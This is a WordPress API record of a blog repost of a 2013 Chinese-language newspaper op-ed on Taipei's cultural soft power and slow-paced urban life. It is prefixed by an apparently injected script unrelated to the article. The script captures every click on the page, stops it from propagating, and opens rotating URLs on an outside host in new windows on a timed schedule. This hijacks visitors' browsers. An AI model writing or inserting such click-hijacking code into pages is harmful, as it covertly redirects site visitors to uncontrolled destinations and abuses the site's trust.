<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1205,"date":"2016-03-17T20:41:42","date_gmt":"2016-03-17T12:41:42","guid":{"rendered":"http:\/\/edu.secda.info\/yujuwu\/?p=1205"},"modified":"2016-03-17T20:41:42","modified_gmt":"2016-03-17T12:41:42","slug":"%e5%be%9e%e6%85%a2%e9%80%9f%e8%bb%8a%e9%81%93%e4%b8%8a%e7%9c%8b%e5%8f%b0%e5%8c%97%ef%bc%9a%e8%bb%9f%e5%af%a6%e5%8a%9b","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/yujuwu\/?p=1205","title":{"rendered":"\u5f9e\u6162\u901f\u8eca\u9053\u4e0a\u770b\u53f0\u5317\uff1a\u8edf\u5be6\u529b"},"content":{"rendered":"<p style=\"margin: 24pt 36pt 12pt; text-align: center;\" align=\"center\"><b><span style=\"font-size: 15pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u5f9e\u6162\u901f\u8eca\u9053\u4e0a\u770b\u53f0\u5317<\/span><\/b><b><\/b><\/p>\n<p style=\"margin: 24pt 36pt 12pt; text-align: center;\" align=\"center\"><b><span style=\"font-size: 13pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u7d00\u99ff\u5091<\/span><\/b><b><\/b><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; text-indent: 22pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u524d\u9663\u5b50\u5728\u570b\u969b\u4e0a\u6df1\u5177\u5f71\u97ff\u529b\u7684\u300c\u83ef\u723e\u8857\u65e5\u5831\u300d\u4e9e\u6d32\u7248\u770b\u5230\u4e86\u4e00\u5247\u503c\u5f97\u53f0\u7063\u4eba\u9a55\u50b2\u7684\u5831\u5c0e\uff1b\u4e0d\u662f\u738b\u5efa\u6c11\u3001\u66fe\u96c5\u59ae\u6216\u6797\u66f8\u8c6a\uff0c\u800c\u662f\u95dc\u65bc\u53f0\u5317\u5e02\u3002\u6c92\u932f\uff0c\u662f\u95dc\u65bc\u53f0\u5317\u5e02\uff0c\u9019\u500b\u5728\u5efa\u7bc9\u4e0a\u666e\u904d\u88ab\u8a8d\u70ba\u975e\u5e38\u300c\u96e3\u770b\u300d\u8207\u300c\u96dc\u4e82\u7121\u7ae0\u300d\u7684\u57ce\u5e02\uff0c\u4f46\u662f\u8a72\u5831\u7528\u975e\u5e38\u5927\u7684\u7bc7\u5e45\u4f86\u5831\u5c0e\u53f0\u5317\u8fd1\u5e74\u4f86\u5728\u6587\u5316\u4e0a\u7684\u7368\u7279\u8868\u73fe\u3002<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; text-indent: 22pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u4e8b\u5be6\u4e0a\uff0c\u83ef\u723e\u8857\u65e5\u5831\u4e0d\u50c5\u7528\u6597\u5927\u7684\u6a19\u984c\uff1a\u300c\u5728\u6162\u901f\u8eca\u9053\u4e0a\u7684\u751f\u6d3b\u300d\uff0c\u66f4\u662f\u7528\u4e86\u5e7e\u4e4e\u5169\u6574\u9801\u7684\u7bc7\u5e45\u4f86\u5831\u5c0e\u53f0\u5317\u7684\u6587\u5316\u751f\u6d3b\u6a23\u8c8c\u3002\u5f9e\u83ef\u5c71<\/span><span style=\"font-size: 11pt;\">1914<\/span><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u6587\u5316\u5275\u610f\u7522\u696d\u5712\u5340\u7684\u6587\u85dd\u6d3b\u52d5\u3001\u56db\u56db\u5357\u6751\u7684\u5047\u65e5\u5e02\u96c6\u3001\u4e2d\u5c71\u5275\u610f\u57fa\u5730\u3001\u8aa0\u54c1\u4e8c\u5341\u56db\u5c0f\u6642\u66f8\u5e97\u5230\u53f0\u5317\u8857\u982d\u96a8\u8655\u53ef\u898b\u7684\u60a0\u9592\u5496\u5561\u9928\uff0c\u8a72\u7bc7\u5831\u5c0e\u5a13\u5a13\u9053\u4f86\u53f0\u5317\u5e02\u904e\u53bb\u4e8c\u5341\u5e74\u4f86\u671d\u5411\u9ad8\u751f\u6d3b\u54c1\u8cea\u7684\u6539\u9020\u3002\u7576\u7136\uff0c\u9019\u6a23\u7684\u6539\u9020\u5fc5\u9808\u5efa\u7acb\u5728\u4e00\u4e9b\u57fa\u790e\u5efa\u8a2d\u4e4b\u4e0a\uff0c\u5305\u62ec\u516c\u5171\u904b\u8f38\u7684\u6539\u9032\u3001\u7da0\u5730\u7684\u589e\u52a0\uff0c\u4ee5\u53ca\u7a7a\u6c23\u54c1\u8cea\u7684\u6539\u5584\u7b49\uff1b\u800c\u5e02\u6c11\u6536\u5165\u7684\u589e\u52a0\u56fa\u7136\u662f\u91cd\u8981\u7684\u793e\u6703\u7d93\u6fdf\u57fa\u790e\uff0c\u773e\u591a\u7684\u85dd\u8853\u5bb6\u53ca\u5177\u6709\u5275\u610f\u7684\u5404\u884c\u696d\u900f\u904e\u8a8d\u540c\u81ea\u5df1\u7684\u571f\u5730\u8207\u6587\u5316\uff0c\u8a66\u5716\u6df1\u8015\u81ea\u5df1\u7684\u5bb6\u5712\u66f4\u662f\u91cd\u8981\u7684\u52d5\u529b\u3002<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; text-indent: 22pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u53f0\u5317\u8fd1\u5e74\u4f86\u5438\u5f15\u8d8a\u4f86\u8d8a\u591a\u7684\u4e9e\u6d32\u89c0\u5149\u5ba2\uff0c\u5176\u539f\u56e0\u6216\u8a31\u4e5f\u53ef\u5f9e\u8a72\u7bc7\u5831\u5c0e\u7372\u77e5\u3002\u76f8\u8f03\u65bc\u5317\u4eac\u3001\u9996\u723e\u8207\u9999\u6e2f\u7684\u7a4d\u6975\u4f01\u5716\u8207\u7cbe\u795e\uff0c\u53f0\u5317\u76f8\u5c0d\u800c\u8a00\u986f\u73fe\u51fa\u5b83\u8ffd\u6c42\u9ad8\u54c1\u8cea\u6162\u6d3b\u7684\u9762\u5411\u3002\u4ee5\u83ef\u5c71\u6587\u5275\u5712\u5340\u70ba\u4f8b\uff0c\u8a72\u5831\u5c0e\u8a8d\u70ba\u82e5\u5728\u5176\u5b83\u4e9e\u6d32\u4e3b\u8981\u90fd\u5e02\uff0c\u9019\u7247\u5e02\u4e2d\u5fc3\u7684\u571f\u5730\u65e9\u5c31\u88ab\u958b\u767c\u5546\u6539\u5efa\u70ba\u8cfc\u7269\u5ee3\u5834\u6216\u4f4f\u5b85\u516c\u5bd3\u4e86\uff0c\u4f46\u5728\u53f0\u5317\u537b\u53ef\u4ee5\u88ab\u4fdd\u7559\u70ba\u6c11\u773e\u4eab\u53d7\u85dd\u6587\u751f\u6d3b\u7684\u5834\u6240\u3002<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; text-indent: 22pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u4f5c\u70ba\u570b\u969b\u653f\u6cbb\u5b64\u5152\uff0c\u53f0\u7063\u5728\u4e00\u4e5d\u516b\u25cb\u5e74\u4ee3\u66fe\u4ee5\u300c\u7d93\u6fdf\u5947\u8e5f\u300d\u64c4\u7372\u5168\u7403\u76ee\u5149\u3002\u4f46\u662f\u53d7\u5230\u300c\u4e2d\u570b\u7d93\u6fdf\u5d1b\u8d77\u300d\u7684\u5f71\u97ff\uff0c\u53f0\u7063\u4e0d\u53ef\u80fd\u7e7c\u7e8c\u4ef0\u8cf4\u7d93\u6fdf\u4f86\u51f8\u986f\u81ea\u5df1\u7684\u512a\u52e2\u3002\u76f8\u5c0d\u800c\u8a00\uff0c\u53f0\u7063\u7684\u6587\u5316\u8edf\u5be6\u529b\u624d\u662f\u5438\u5f15\u570b\u969b\u77da\u76ee\u8207\u5c55\u73fe\u81ea\u6211\u7684\u6700\u4f73\u5229\u5668\u3002\u8a72\u5831\u5c0e\u505a\u4e86\u4e00\u500b\u53ef\u4ee5\u8b93\u8a31\u591a\u53f0\u5317\u4eba\u89ba\u5f97\u984f\u9762\u6709\u5149\u7684\u7e3d\u7d50\uff1a\u53f0\u5317\u662f\u4e9e\u6d32\u5c0d\u65bc\u7f8e\u570b\u5967\u52d2\u5ca1\u5dde\u6ce2\u7279\u862d\u5e02\u6240\u505a\u7684\u56de\u61c9\u3002\u800c\u5728\u7f8e\u570b\u7684\u773e\u591a\u5927\u90fd\u5e02\u4e2d\uff0c\u6ce2\u7279\u862d\u5e02\u53ef\u662f\u6301\u7e8c\u88ab\u773e\u591a\u50b3\u5a92\u8a55\u9078\u70ba\u6700\u5b9c\u4eba\u5c45\u7684\u5730\u65b9\u3002<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; text-align: right; text-indent: 22pt; line-height: 22pt;\" align=\"right\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\uff08\u4f5c\u8005\u70ba\u570b\u7acb\u6771\u83ef\u5927\u5b78\u65cf\u7fa4\u95dc\u4fc2\u8207\u6587\u5316\u5b78\u7cfb\u6559\u6388\uff09<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; text-align: right; text-indent: 22pt; line-height: 22pt;\" align=\"right\"><span style=\"font-size: 11pt;\">2013.03.29<\/span><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u81ea\u7531\u6642\u5831<\/span><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u3008<\/span><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u6f84\u793e\u8a55\u8ad6<\/span><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u3009<\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u5f9e\u6162\u901f\u8eca\u9053\u4e0a\u770b\u53f0\u5317 \u7d00\u99ff\u5091 \u524d\u9663\u5b50\u5728\u570b\u969b\u4e0a\u6df1\u5177\u5f71\u97ff\u529b\u7684\u300c\u83ef\u723e\u8857\u65e5\u5831\u300d\u4e9e\u6d32\u7248\u770b\u5230\u4e86\u4e00\u5247\u503c\u5f97\u53f0\u7063\u4eba\u9a55\u50b2\u7684\u5831\u5c0e\uff1b\u4e0d\u662f [&hellip;]<\/p>\n","protected":false},"author":6,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[46,1,60,42,56,63],"tags":[91,89,100],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts\/1205"}],"collection":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1205"}],"version-history":[{"count":1,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts\/1205\/revisions"}],"predecessor-version":[{"id":1206,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts\/1205\/revisions\/1206"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1205"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1205"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1205"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}